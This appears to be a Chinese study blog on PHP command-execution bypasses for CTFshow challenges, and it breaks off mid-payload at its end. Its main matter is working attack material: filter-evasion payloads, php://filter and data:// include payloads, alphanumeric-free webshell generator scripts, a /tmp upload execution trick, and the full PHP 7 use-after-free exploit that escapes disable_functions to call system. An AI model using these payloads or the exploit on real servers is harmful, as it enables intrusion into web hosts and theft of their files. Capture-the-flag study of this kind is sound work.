前言 每天抽空学一点,整理一点,命令执行考察的姿势还挺多的,对见到的不同类型做一个整理,同时也对CTFshow命令执行的题做一个记录。
会持续更新~~
命令执行用到的函数 一般在PHP语言里面,涉及到eval()函数,并且参数可控,可以考虑命令执行。
执行系统命令的函数:
1 2 3 4 5 6 7 system ()passthru ()exec ()shell_exec ()popen ()proc_open ()pcntl_exec ()
其中 反引号 ` 等效于 shell_exec
其中system()函数的执行结果有回显,其他需要 echo 来打印出来。
等效替换 过滤了空格 –可用%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、 进行替换
过滤了cat –可用tac、more、less、head、tail、nl、sed、sort、uniq、rev 进行替换
过滤了要获取的关键词,比如flag.php 可以用 ?、*、''来代替。eg:fla?.???,fla*,fla''g.php 来绕过
linux 语法过滤了分号,可以用 %0a 来绕过(相当于回车)
PHP语法过滤了分号 可用 ?>来绕过
利用反斜杠 比如对cat进行限制 我们可以用 ca\t 绕过 ,过滤了 flag , php 我们用 fl\ag.p\hp 绕过
利用include函数+伪协议 include + php://filter
1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); } ?>
过滤了system,反引号,单引号和双引号,但是include函数包含一个变量,不需要引号和括号,我们结合伪协议来读文件:
payload: get:?c=include$_POST[1]?> POST: 1=php://filter/read=convert.base64-encode/resource=flag.php 可以读出
注:include和$_POST之间没有空格
关于这个题目一开始有一个误区:
我一开始想的是直接传?c=$_POST[1] 然后post 1=system('ls'); ,但是eval函数只能执行一层,也就是接受完c参数,即为eval($_POST[1]) 此时再传入参数是无效的。而一开始我们传?c=include$_POST[1],经过eval函数就变为include$_POST[1]
然后再传参过去,是有效的,这个时候参数是传到include那里了。
include + data
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); } ?>
这里利用payload:
?c=data:text/plain,<?php system('ls');?> 即可命令执行
这里还可以变一下,编码来绕过一些过滤:?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 来执行命令
session_id 包含 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了数字和一些符号,没有过滤字母。并且仔细看会发现,这里过滤了中文括号而不是英文的,细节,所以很多函数可以用。这里是利用 session_id来包含,改一下cookie的PHPSESSID的值,比如改成 ls,然后payload ?c=session_start();system(session_id); 可以得到回显:
然后接着可以用类似的思路去读flag.php的值,即?c=session_start();show_source(session_id()); PHPSESSID=flag.php 发现读不出来,因为PHPSESSID的值有限制,5.5 -7.1.9 版本的PHP 没有限制,但是其他版本,只能为 a-z,A-Z,0-9,- ,所以这个思路在此题不可用,但是可以用在其他环境下面。
读文件+数组改造 还是解上面那道题
payload: highlight_file(next(array_reverse(scandir(pos(localeconv())))));
函数介绍:
1 2 3 4 localeconv()函数:返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos()函数:返回数组中当前元素的值 array_reverse():数组逆序 next():内部指针指向数组下一个元素并返回
先 print_r(scandir(pos(localeconv()))); 可以看到当前目录下文件为:
逆序一下然后next一下就可以返回flag.php的内容
无字母数字马构造 异或、取反、或、自增脚本整理
或运算构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
过滤了数字和字母,并且异或取反符号都过滤了,但是给我们留了一下或运算符号,即 | ,这里参考了羽师傅的或运算构造脚本
脚本1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $myfile = fopen ("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9a-z]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
这个脚本的目的是从或运算得到的字符中排除已过滤的,然后再判断是不是不可见的,最后形成一个字典 or_rce.txt
然后就是一个python的运行生成shell的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport urllibfrom sys import *import osdef action (arg ): s1 = "" s2 = "" for i in arg: f = open ("or_rce.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"|\"" + s2 + "\")" return (output) while True : param = action(input ("\n[+] your function:" )) + action(input ("[+] your command:" )) + ";" print (param)
运行实例:
就可以生成payload,因为题目里面有echo函数 ,所以这里不用system() ,用 shell_exec()替代一下就行了,system()本身是会有输出,而其他命令执行函数没有。
用原始路径+通配符绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
这里采用.*的通配模式,导致很多东西用不了,但是这里我们可以用命令的路径 +?通配符来绕过
payload:/bin/ca?${IFS}f???????
.结合/tmp下临时文件 来getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
这个题过滤了大小写字母,一开始我想的是用异或来构造马,但是这里不是eval()函数,而是system()函数,所以不能这样做。然后思路就断了,后来看了P神的一篇文章,豁然开朗。文章链接:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
几个关键的地方:
1.没有过滤 . ,可以用 . + 文件,来执行文件里面的命令,并且即使没有执行权限x,也可以,所以我们可以把我们命令写入文件,且上传。
2.PHP文件上传临时文件会存储在/tmp目录下,并且是 /tmp/phpXXXXXX ,这里最后一个字母可能是大写(一次不行多试几次),并且通配符支持匹配的语法。所以我们可以用[ @-[ ],来匹配大写字母。
构造文件上传的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://effa0bff-f0e6-42b2-8c5e-b8f1d07d0484.chall.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
然后抓包修改:
可以看到成功执行命令,接着cat
选择其它非禁用函数 有时候会遇到一些函数被禁用了,也就是disabled_function,这里我们讨论如何利用其它函数来读或者达到我们想要的效果,注意这里不是绕过disabled_function,而是使用其它函数,关于绕过后面会有总结。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
一开始传phpinfo(); 直接告诉我被disabled_function 了,那就用其它函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 readfile ('flag.php' ) print_r (file ('flag.php' ));var_dump (file ('flag.php' ));echo file_get_contents ('flag.php' );$a =fopen ("flag.php" ,"r" );echo fpassthru ($a ); $a =fopen ("flag.php" ,"r" );echo fread ($a ,"1000" ); $a =fopen ("flag.php" ,"r" );while (!feof ($a )) {$line = fgets ($a );echo $line ;} $a =fopen ("flag.php" ,"r" );while (!feof ($a )) {$line = fgetc ($a );echo $line ;} $a =fopen ("flag.php" ,"r" );while (!feof ($a )) {$line = fgetcsv ($a );print_r ($line );}$a =fopen ("flag.php" ,"r" );while (!feof ($a )) {$line = fgetss ($a );echo $line ;} show_source ("flag.php" );highlight_file ("flag.php" );opendir ()scandir ()?c=$a =opendir ("/" ); while (($file = readdir ($a )) !== false ){echo $file . "<br>" ; };highlight_file ("/flag.txt" ); copy ("flag.php" ,"flag.txt" );rename ("flag.php" ,"flag.txt" );函数执行完后,我们再去访问 url/flag.txt 即可直接读取flag。 include ("/flag.txt" );require ("/flag.txt" );
关于缓冲区:
1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
关于 ob_end_clean()函数,功能是清空缓冲区并关闭输出缓冲.
此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),本地测试一下:
会发现没有输出,注释掉 ob_end_clean()函数,正常输出.
所以这里主要是想办法绕过,很简单,用exit();直接结束后面的执行即可
payload: c=include('/flag.txt');exit();
绕过disabled_function 很多时候,比如文件上传了一个马,但是却很多功能执行不了,这个时候,可以考虑绕过disabled_function
利用exploit github上的一个jio本https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 <?php pwn ("ls /" );function pwn ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle (str_repeat ('A' , 79 )); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle (str_repeat ('A' , 79 )); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
此版本适用于:
7.0 7.1 7.2 all
7.3 <7.3.15
7.4<7.4.3
利用mysql load_file() 1 2 3 4 5 6 7 8 9 10 try { $dbh = new PDO ('mysql:host=localhost;dbname=ctftraining' , 'root' , 'root' ); foreach ($dbh ->query ('select load_file("/flag36.txt")' ) as $row ) { echo ($row [0 ])."|" ; } $dbh = null ; } catch (PDOException $e ) { echo $e ->getMessage (); die (); }
利用PHP FFI扩展 要求PHP版本在7.4以上,并开启了该扩展。
关于FFI 的介绍
https://www.php.cn/php-weizijiaocheng-415807.html
1 2 3 $ffi = FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ; $ffi ->system ($a );
大写+部分字符来构造 之前月饼杯的时候出现过一题,命令执行,过滤了小写和部分字符,但给我们留下了一些可用的。
前置知识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ${变量名:0 :1 } $PATH -> /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bineg: ${PATH:0 :1 } -> / 即第一位往后数1 位 ${PATH:5 :1 } -> l 即第五位往后数1 位 ${PATH:5 :1 }${PATH:2 :1 } -> ls ${变量名::1 } 默认为0 等效于 ${变量名:0 :1 } ${变量名 ${变量名%???} 截取变量左边的值 -> 三问号代表从倒数第三位开始: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/ ${ ${ eg: AAASS;${ ${ echo $OPTIND ${ echo $TERM ${变量名:~大写字母} eg: ${PATH:~A} -> n $?
几个payload分析:
`${PATH:~A}${PATH:$:$:$